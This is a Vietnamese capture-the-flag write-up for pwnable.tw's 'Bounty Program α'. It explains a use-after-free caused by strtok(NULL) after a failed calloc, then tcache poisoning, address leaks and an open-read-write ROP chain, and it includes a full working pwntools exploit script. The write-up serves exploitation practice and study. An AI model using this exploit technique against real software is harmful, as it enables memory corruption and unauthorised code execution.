Bounty Program α
Vuln: Không kiểm tra NULL trước khi sử dụng strtok().
tl;dr: Hành vi nguy hiểm của strtok(NULL, delim); Hàm calloc() bỏ qua tcache; Env var có thể tác động đến hành vi của ptmalloc.
Recon
Mitigation
$ pwn checksec bounty_program
[*] '/home/hungnt/pwnable.tw/bounty-program-a/bounty_program'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled$ file bounty_program
bounty_program: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld, for GNU/Linux 3.2.0, BuildID[sha1]=237165c7e6caa5d52b1f79914664541cb99375e1, strippedGLIBC Version
pwndbg> libc
libc: glibc
libc version: 2.27
linked: dynamically
URLs:
project homepage: https://sourceware.org/glibc/
read the source: https://elixir.bootlin.com/glibc/glibc-2.27/source
download the archive: https://ftp.gnu.org/gnu/libc/glibc-2.27.tar.gz
git clone https://sourceware.org/git/glibc.git
Mappings:
libc is at: 0x7ffff7200000
/home/hungnt/pwnable.tw/bounty-program-a/libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so
ld is at: 0x7ffff7c00000
/home/hungnt/pwnable.tw/bounty-program-a/ld-linux-x86-64.so.2
Symbolication:
has exported symbols: yes
has internal symbols: yes
has debug info: yesSeccomp
Đây là seccomp của wrapper:
$ seccomp-tools dump ./wrapper
Name:A
Value:A
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x15 0x00 0x01 0x00000142 if (A != execveat) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0022
0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0022: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0024
0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0024: 0x15 0x00 0x01 0x0000000b if (A != munmap) goto 0026
0025: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0026: 0x15 0x00 0x01 0x00000015 if (A != access) goto 0028
0027: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0028: 0x15 0x00 0x01 0x00000005 if (A != fstat) goto 0030
0029: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0030: 0x15 0x00 0x01 0x0000009e if (A != arch_prctl) goto 0032
0031: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0032: 0x15 0x00 0x01 0x000000da if (A != set_tid_address) goto 0034
0033: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0034: 0x15 0x00 0x01 0x00000111 if (A != set_robust_list) goto 0036
0035: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0036: 0x15 0x00 0x01 0x0000000e if (A != rt_sigprocmask) goto 0038
0037: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0038: 0x15 0x00 0x01 0x0000012e if (A != prlimit64) goto 0040
0039: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0040: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0042
0041: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0042: 0x15 0x00 0x01 0x0000000d if (A != rt_sigaction) goto 0044
0043: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0044: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0046
0045: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0046: 0x06 0x00 0x00 0x00000000 return KILLCode
bounty_program: AddVulnType()
void AddVulnType()
{
__int64 size; // rsi
int price; // [rsp+4h] [rbp-1Ch]
char *type_name; // [rsp+8h] [rbp-18h]
char *types; // [rsp+18h] [rbp-8h]
printf("Size:");
size = read_long();
types = (char *)calloc(1uLL, size); // arbitrary size allocation
puts("(Note:You can add many types at the same time)");
puts("(Example: SQLI,Buffer overflow,LFI)");
printf("Type:");
read_input(types, size);
for ( type_name = strtok(types, ","); type_name; type_name = strtok(0LL, ",") )
{
printf("type: %s\n", type_name);
printf("Price:");
price = read_long();
if ( AllocateType(type_name, price) )
puts("Success !");
else
puts(&byte_360F);
}
free(types);
}wrapper
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[256]; // [rsp+10h] [rbp-1110h] BYREF
char value[4104]; // [rsp+110h] [rbp-1010h] BYREF
unsigned __int64 v6; // [rsp+1118h] [rbp-8h]
v6 = __readfsqword(0x28u);
init_proc(argc, argv, envp);
memset(s, 0, sizeof(s));
memset(value, 0, 4096uLL);
printf("Name:");
read_input(s, 248LL);
if ( strstr(s, "LD") || strstr(s, "MALLOC") )
{
printf("Danger!");
_exit(-1);
}
printf("Value:");
read_input(value, 512LL);
setenv(s, value, 1);
my_sandbox();
syscall(322LL, 100LL, "./bounty_program", argv, environ, 0LL);
return 0;
}Solve
Sau 3 tiếng ngồi đọc code mình ko tìm thấy tí bug nào, mình đã hỏi perplexity đọc writeup và đưa ra cho mình hint nhỏ nhất có thể:

Vậy bug nằm ở việc chương trình ko check cẩn thận khi dùng strtok(), mình lôi source code strtok() trong glibc để phân tích nhé.

Hàm strtok() có một biến static là olds, trỏ về nơi của chuỗi vừa đc xử lý gần nhất. Về cơ bản nó hoạt động như sau, ban đầu mình có s trỏ đến chuỗi "hello,world\x00". Lần gọi hàm lần 1 đối với chuỗi sẽ cần truyền strtok(s, ","), thì strtok sẽ đếm đến hết ký tự đầu tiên ko thuộc delim (ở đây là khác dấu phẩy), ta đc 1 token, end sẽ trỏ đến nơi kết thúc của token là dấu phảy và ghi đè nó với null, s bây giờ là "hello\x00work\x00". save_ptr trỏ đến end + 1 là "work\x00". Để tiếp tục tách token, ta cần truyền s = null, khi này s = olds, rồi lại tiếp tục với token sau đó.

Vậy bug của chương trình đó là ko kiểm tra xem liệu cấp phát từ calloc có thành công hay ko, mà sử dụng strtok(types, “,”) ngay sau đó.
Giả sử lần mình gọi hàm AddVulnType() lần 1 với các tham số hợp lệ, chương trình hoạt động như dự đoán. Nhưng lần 2, mình khiến calloc() cấp phát thất bại trả về null, strtok(null, “,”) đc gọi ngay lần đầu, thế thì nó sẽ sử dụng cái olds kia. Mà olds này là chunk types mà mình đã cấp phát ở lần AddVulnType() lần trước, mà đã bị free, dẫn đến bug ở đây là UAF.
Để khiến calloc() trả về null, mình truyền vào size cực lớn. Do ko đủ bộ nhớ để cấp phát, types đc gán bằng null.
Với bug này mình dễ dàng leak đc heap và libc. Như rồi làm gì tiếp? Chẳng còn bug nào cả. Vậy mình mới có ý tưởng là lợi dụng *end = '\0' kia. Do hàm strtok sẽ ghi null vào vị trí dấu phẩy đứng ngay sau token vừa duyệt, mà dấu phẩy có mã hex là 0x2c, nên mình có ý tưởng như sau:
- Cấp phát 1 chunk có địa chỉ trỏ kết thúc với 0x2c10. Rồi free chunk này vào tcache bin nào đó.
- Vì hàm calloc() skip toàn bộ tcache, chỉ duyệt fastbin, small,… nên mình AddVulnType() lần 1 với kích thước sao cho khi free chunk này vào cùng tcache bin với chunk ở trên, input vào types là ‘\x00’.
- AddVulnType() lần 2, mình calloc(-1), dẫn đến strtok(null, “,”), ghi đè vào con trỏ fd, ghi byte 0x2c thành null, nghĩa là trỏ đến tcache perthread struct (kết thúc 0x0010).
Từ đây mình có thể kiểm soát toàn bộ tcache để cấp phát tuỳ ý. Tuy nhiên cách này chỉ hoạt động nếu heap base được đặt vào địa chỉ kết thúc 0x0000, nên cần chút may mắn ở đây:

Với seccomp như mình đã biết, chắc chắn cần phải ROP. Nên mục tiêu của mình cuối cùng sẽ là leak đc stack qua environ, rồi control tcache để cấp phát đến return address của hàm SubmitBugReport() vì ở đây sử dụng malloc() thay vì calloc() để cấp phát description, thì mới lấy chunk trong tcache được, rồi ROP ORW là xong.
Mình vẫn ko hiểu tại sao ko mình ko execveat đc.
Note: để control tcache lần 2, mình ko ghi luôn địa chỉ tcache perthread struct vào fd, vì nó chứa null, ko ghi hết đc với strdup(). Nên mình ghi địa chỉ nơi mà chứa địa chỉ tcache perthread struct vào fd, cần thêm 1 lần cấp phát nữa.
Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda l, c: c * l
z = lambda l: l * b'\0'
A = lambda l: l * b'A'
e = context.binary = ELF('./bounty_program', checksec=False)
libc = ELF('./libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so', checksec=False)
ld = ELF('ld-linux-x86-64.so.2', checksec=False)
TERMINAL = 3
USE_PTY = False
GDB_ATTACH_DELAY = 1
match TERMINAL:
case 1:
context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
case 2:
context.terminal = ["tmux", "split-window", "-h"]
case 3:
context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe",
"-w", "0", "split-pane", "-V", "-s", "0.5",
"wsl.exe", "-d", "Ubuntu-24.04", "bash", "-c"]
case _:
raise ValueError(f"Unknown terminal: {TERMINAL}")
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
# brva 0x180E
# brva 0x1689
# brva 0x18F5
# b *__libc_malloc
brva 0x22E0
continue
'''
def attach(p):
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(GDB_ATTACH_DELAY)
def conn():
if args.LOCAL:
if USE_PTY:
p = process([e.path], stdin=PTY, stdout=PTY, stderr=PTY)
else:
p = process([e.path])
sleep(0.25)
return p
else:
host = "chall.pwnable.tw"
port = 10208
return remote(host, port)
class TcachePerthread:
MALLOC_ALIGNMENT = 0x10
MINSIZE = 0x20
def __init__(self):
self.num_slots = [0] * 64
self.entries = [0] * 64
@staticmethod
def size2idx(size):
return (size - TcachePerthread.MINSIZE) // TcachePerthread.MALLOC_ALIGNMENT
def set_count(self, size, count):
self.num_slots[self.size2idx(size)] = count
return self
def set_entry(self, size, ptr):
self.entries[self.size2idx(size)] = ptr
return self
def pack(self):
data = b''
for count in self.num_slots:
data += p8(count)
for entry in self.entries:
data += p64(entry)
return data
def Login(username, password):
slan(p, b'choice', 1)
sa(p, b'Username', username)
sa(p, b'Password', password)
sleep(0.05)
def Register(username, password, contact):
slan(p, b'choice', 2)
sa(p, b'Username', username)
sa(p, b'Password', password)
sa(p, b'Contact', contact)
sleep(0.05)
def AddNewProduct(name, company, comment):
slan(p, b'choice', 1)
sa(p, b'Name', name)
sa(p, b'Company', company)
sa(p, b'Comment', comment)
sleep(0.05)
def AddVulnType(size, type, price):
slan(p, b'choice', 2)
slan(p, b'Size', size)
sa(p, b'Type', type)
slan(p, b'Price', price)
sleep(0.05)
def SubmitBugReport(product_id, type_id, title, bug_id, desc_len, description):
slan(p, b'choice', 3)
slan(p, b'Product', product_id)
slan(p, b'Type:', type_id)
sa(p, b'Title', title)
slan(p, b'ID', bug_id)
slan(p, b'Length', desc_len)
sa(p, b'Descripton', description)
sleep(0.05)
def RemoveVulnType(size, type):
slan(p, b'choice', 4)
slan(p, b'Size', size)
sa(p, b'Type', type)
sleep(0.05)
def ShowBugDetail(product_id):
slan(p, b'choice', 6)
slan(p, b'ID', product_id)
sleep(0.05)
username = password = b'ngtuonghung'
desc_min_size = 0x408
desc_min_size_hi = 0x410
desc_min_size_lo = 0x400
attempt = 0
while True:
attempt += 1
print("\n----------> Attempt", attempt)
p = conn()
if not args.LOCAL:
sa(p, b'Name', username)
slan(p, b'Value', password)
print("Register and login")
Register(username, password, b'A')
Login(username, password)
# Bounty
slan(p, b'choice', 1)
print("Leaking heap address")
AddVulnType(0x100, b'A', 0)
AddVulnType(0x100, b'B', 0) # This works since calloc skip tcache entirely
slan(p, b'choice', 2)
slan(p, b'Size', -1)
sa(p, b'Type', b'C')
ru(p, b'type: ')
heap_base = leak_bytes(b'\0' + rn(p, 5), 0x500)
lg("heap base", heap_base)
# Hoping for heap base address ends with 0x0000
if heap_base & 0xffff != 0:
print("Failed attempt, we're unlucky this time")
p.close()
continue
print("We're lucky this time")
print("Leaking libc address")
AddVulnType(0x420, b'D', 0)
AddVulnType(0x420, b'E', 0) # Actually there's no need for this, I copied this from above when leaking heap, but I've already finish the exploit, I'm too lazy to change anything :/
slan(p, b'choice', 2)
slan(p, b'Size', -1)
sa(p, b'Type', b'F')
ru(p, b'type: ')
libc.address = leak_bytes(b'\0' + rn(p, 5), 0x3ebc00)
lg("libc base", libc.address)
print("Poison tcache to point back to tcache perthread struct")
# For some reasons, without debug being turned on, we're blocked here (LOCAL)
AddNewProduct(b'iphone 18 pro max premium vip', b'4pple', b'A')
SubmitBugReport(0, 0, b'0-click', 0, 0x2000 - 0x170, b'A')
# -------------------------------------so that next allocation at address ends with 0x2c10
AddVulnType(desc_min_size, b'G', 0) # ends with 0x2c10
slan(p, b'choice', 2)
slan(p, b'Size', desc_min_size)
sa(p, b'Type', b'\0') # null for strtok set *save_ptr = s.
AddVulnType(-1, b'H', 0)
# Now G ends with 0x0010 (tcache perthread struct)
SubmitBugReport(0, 0, b'1-click', 0, desc_min_size, b'A')
# Control the whole tcache
controlled_tcache = TcachePerthread()
# To leak stack
controlled_tcache.set_count(desc_min_size_hi, 3).set_entry(desc_min_size_hi, libc.symbols['environ'] - desc_min_size_lo)
# To write to fd pointer of the fake chunk at the entry we faked above
offset = 0x40
controlled_tcache.set_count(offset + 0x10, 1).set_entry(offset + 0x10, libc.symbols['environ'] - desc_min_size_lo - offset + 0x8)
SubmitBugReport(0, 0, b'2-click', 0, desc_min_size, controlled_tcache.pack())
# Tcache address is now inside the above BugReport struct
# Clean up 1 vuln to add another
RemoveVulnType(0x10, b'A')
# Can't do this cause strdup() stop at null (0x0010)
# AddVulnType(0x50, A(0x38) + p64(heap_base + 0x10)[:6], 1337)
# Do this instead
AddVulnType(offset + 0x10, A(offset - 0x8) + p64(heap_base + 0x3548)[:6], 0)
print("Leaking stack address")
SubmitBugReport(0, 0, b'3-click', 0, desc_min_size, A(desc_min_size_lo))
ShowBugDetail(0)
ru(p, A(desc_min_size_lo))
stack = leak_bytes(rn(p, 6))
lg("stack", stack)
# Clear up entry
SubmitBugReport(0, 0, b'4-click', 0, desc_min_size, b'A')
# Control the whole tcache again to ROP
ret_addr_on_stack = stack - 0x130
controlled_tcache = TcachePerthread()
controlled_tcache.set_count(desc_min_size_hi, 1).set_entry(desc_min_size_hi, ret_addr_on_stack)
SubmitBugReport(0, 0, b'5-click', 0, desc_min_size, controlled_tcache.pack())
attach(p)
print("ORW ROP")
pop_rax = libc.address + 0x00000000000439c8
pop_rdi = libc.address + 0x000000000002155f
pop_rsi = libc.address + 0x0000000000023e6a
pop_rdx = libc.address + 0x0000000000001b96
pop_r10 = libc.address + 0x00000000001306b5
pop_r8_mov_eax_1 = libc.address + 0x0000000000155fc6
syscall = libc.address + 0x00000000000d2975
flag_path = stack - 0x58
flag_buf = flag_path + 0x20
# ROP execveat() ko dc?? :v
ROP_chain = flat(
# open("/home/bounty_program/flag", 0, 0)
pop_rdi, flag_path,
pop_rsi, 0,
pop_rdx, 0,
pop_rax, 2,
syscall,
# read(4, buf, 0x100)
pop_rdi, 4, # 3 is /dev/urandom
pop_rsi, flag_buf,
pop_rdx, 0x100,
pop_rax, 0,
syscall,
# write(1, buf, 0x100)
pop_rdi, 1,
pop_rsi, flag_buf,
pop_rdx, 0x100,
pop_rax, 1,
syscall,
b'/home/bounty_program/flag\0'
)
SubmitBugReport(0, 0, b'6-click', 0, desc_min_size, ROP_chain)
print("Flag:")
print(ra(p, 2))
p.close()
breakSide note
Lấy đc flag rồi mình mới để ý trong flag có nhắc đến environment variable. Mình ko biết nó có tác dụng gì nên đã hỏi perplexity. Về cơ bản, env var có thể ảnh hưởng đến hành vi của ptmalloc:

Vậy có vẻ solve của mình là unintended.